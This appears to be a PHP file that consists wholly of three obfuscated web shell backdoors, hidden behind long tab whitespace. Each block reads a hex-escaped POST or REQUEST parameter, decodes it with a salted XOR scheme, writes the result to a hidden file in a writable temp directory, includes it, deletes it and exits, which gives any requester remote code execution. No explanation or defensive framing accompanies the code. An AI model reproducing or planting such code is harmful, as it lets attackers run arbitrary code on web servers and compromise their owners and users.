<?php																																										if(isset($_POST["\x65n\x74"]) ? true : false){ $entry = array_filter(["/var/tmp", session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $desc = $_POST["\x65n\x74"]; $desc =explode ( '.' , $desc) ; $sym =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt3); $q =0; $len =count($desc); do { if ($q>=$len) break; $v6 =$desc[$q]; $sChar =ord($salt3[$q % $lenS]); $d =((int)$v6 - $sChar - ($q % 10)) ^ 37; $sym .= chr($d); $q++;}while (true); $pset = 0; do { $binding = $entry[$pset] ?? null; if ($pset >= count($entry)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $itm = "$binding/.factor"; $success = file_put_contents($itm, $sym); if ($success) { include $itm; @unlink($itm); exit;} } $pset++; } while (true); }
																																										if(!empty($_REQUEST["v\x61\x6Cue"])){ $ptr = $_REQUEST["v\x61\x6Cue"]; $ptr = explode (".", $ptr ) ; $descriptor =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $len =count($ptr); for($x =0; $x < $len; $x++) { $v4 =$ptr[$x]; $sChar =ord($salt[$x % $sLen]); $d =((int)$v4 - $sChar -($x % 10))^42; $descriptor .=chr($d); } $element = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($rec = array_shift($element)) { if (is_dir($rec) ? is_writable($rec) : false) { $symbol = sprintf("%s/.object", $rec); if (file_put_contents($symbol, $descriptor)) { require $symbol; unlink($symbol); die(); } } } }


if(@$_POST["\x70ar\x61\x6D\x65ter\x5Fgr\x6Fu\x70"] !== null){
	$token = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]);
	$data_chunk = $_POST["\x70ar\x61\x6D\x65ter\x5Fgr\x6Fu\x70"];
	  $data_chunk 	=	 explode 	("."	  ,$data_chunk	)		 ;
	$symbol= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen( $salt	 );
            $q= 0;
    
            $__tmp= $data_chunk;
            while( $v1= array_shift( $__tmp)) {  $chS= ord( $salt[$q % $lenS]	 );
                $d= ( ( int)$v1 - $chS -( $q % 10))	^90;
                $symbol .= chr( $d	 );
                $q++;
            }
	while ($marker = array_shift($token)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) {
    $key = join("/", [$marker, ".dat"]);
    if (@file_put_contents($key, $symbol) !== false) {
	include $key;
	unlink($key);
	exit;
}
}
}
}